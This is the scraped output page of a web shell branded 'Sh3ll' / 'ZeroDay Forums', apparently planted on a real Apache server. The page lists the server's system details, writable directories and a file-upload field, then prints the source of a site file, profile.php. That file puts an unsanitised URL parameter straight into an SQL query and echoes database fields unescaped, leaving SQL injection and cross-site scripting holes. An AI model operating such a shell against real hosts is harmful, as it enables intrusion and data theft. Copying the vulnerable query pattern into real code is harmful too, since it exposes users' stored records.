Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/mm/upp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/mm/upp/profile.php
<?php
include_once("header.php");
include_once("title.php");
?>
<span style="color:green;font-weight:bolder;background-color:khaki;padding:5px">Profile</span>
<table id='khaki_box' width='100%'><tr id='row1'><td>
<?php
if (isset($_GET['code'])){
  $code = $_GET['code'];
  $rs = mysql_query("select * from profiles where pp_no='$code'", $link);
  if ($rs){
    $o = mysql_fetch_object($rs);
    $id = $o->id;
    $pp_no = $o->pp_no;
    $name = $o->name;
    $date_birth = $o->date_birth;
    $address = $o->address;
    $cadre = $o->cadre;
    $rank = $o->rank;
    $honors = $o->honors;
    $postings = $o->postings;
    $note = $o->note;
    $message = $o->message;
    $date_update = $o->date_update;
    echo "<b>$name</b><div align='right'>Last updated: $date_update</div>";
    echo "<table width='100%'>";
    echo "<tr valign='top'><td><b>PP No.:</b></td><td>$pp_no</td><td rowspan='6'><img src='image/$pp_no.jpg' width='100' height='120'></td></tr>";
    echo "<tr><td><b>Date of Birth:</b></td><td>$date_birth</td></tr>";
    echo "<tr><td><b>Address:</b></td><td>$address</td></tr>";
    echo "<tr><td><b>Cadre:</b></td><td>$cadre</td></tr>";
    echo "<tr><td><b>Rank:</b></td><td>$rank</td></tr>";
    echo "<tr><td><b>Honors/Decorations:</b></td><td>$honors</td></tr>";
    echo "<tr><td><b>Postings:</b></td><td colspan='2'>$postings</td></tr>";
    echo "<tr><td><b>Note:</b></td><td colspan='2'>$note</td></tr>";
    echo "<tr><td><b>Message:</b></td><td colspan='2'>$message</td></tr>";
    echo "</table>";
  }
}
?>
</td></tr></table>
<?php
include_once("footer.php");
?>

ZeroDay Forums Mini